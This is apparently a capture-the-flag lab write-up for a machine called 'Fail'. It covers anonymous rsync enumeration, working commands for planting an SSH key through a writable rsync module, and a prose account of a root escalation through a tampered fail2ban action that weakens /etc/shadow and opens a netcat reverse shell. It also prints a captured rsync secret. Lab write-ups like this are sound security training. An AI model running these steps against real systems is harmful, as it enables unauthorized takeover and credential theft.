PG: Fail

Enumeration#

Nmap#

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
873/tcp open  rsync   (protocol version 31)

Two ports. SSH accepts both pubkey and password auth but we have no creds, so it stays shut for now. That leaves rsync on 873 – a daemon that ships wide open more often than it should.

Port 873 - rsync#

Listing modules exposes a single share, fox, described as “fox home”:

1
2

rsync --list-only rsync://192.168.100.126:873/
fox            	fox home

Anonymous access is allowed, and the module maps straight onto the fox user’s home directory:

1
2
3
4
5
6
7
8

rsync -av --list-only rsync://192.168.100.126:873/fox/
drwxr-xr-x          4,096 2022/11/25 22:30:39 .
lrwxrwxrwx              9 2020/12/03 15:22:42 .bash_history -> /dev/null
-rw-r--r--            220 2019/04/18 00:12:36 .bash_logout
-rw-r--r--          3,526 2019/04/18 00:12:36 .bashrc
-rw-r--r--            807 2019/04/18 00:12:36 .profile
drwxr-xr-x          4,096 2022/11/25 22:40:49 .ssh
-rw-------            563 2022/11/25 22:37:48 .ssh/authorized_keys

An anonymously reachable home directory with a .ssh folder is the whole ballgame – if the module is writable, we own fox.

Foothold#

rsync → SSH key injection#

The module is read/write, so pull the share down, append our own public key to authorized_keys, and push it back:

1
2
3
4
5
6
7
8

# pull fox's home locally
rsync -avh rsync://192.168.100.126:873/fox/ ~/fox

# append our key to fox's existing authorized_keys (already mode 600)
cat ~/.ssh/id_rsa.pub >> ~/fox/.ssh/authorized_keys

# sync the modified home back to the target
rsync -a ~/fox/ rsync://192.168.100.126:873/fox

With the key in place, SSH straight in as fox:

1

ssh fox@192.168.100.126 -i ~/.ssh/id_rsa

Foothold as fox.

Privilege Escalation#

Writable fail2ban action template#

Two facts fall out of local enumeration: root is permitted to log in over SSH, and fail2ban is running – on a box literally named Fail. Root + fail2ban + that hostname is the arrow pointing at the privesc path.

fail2ban watches the auth logs and, when an IP trips its threshold, runs the ban/unban commands defined in the action.d/ templates – as root. On this host the active iptables-multiport.conf template is writable by fox, so we can splice arbitrary commands into it. Here the action is doctored to loosen /etc/shadow and fire off a netcat reverse shell:

Then trip the jail with a burst of failed SSH logins. fail2ban registers the offending IP, executes the tampered action as root, and our payload runs with it – yielding a root shell (and a world-readable /etc/shadow to crack offline for good measure).

Proof#

Also lifted off the box: the rsync daemon secret from /etc/rsyncd.secrets – fox:f1bddf02cd53fab415c1b46853072f6a.

Key Takeaways#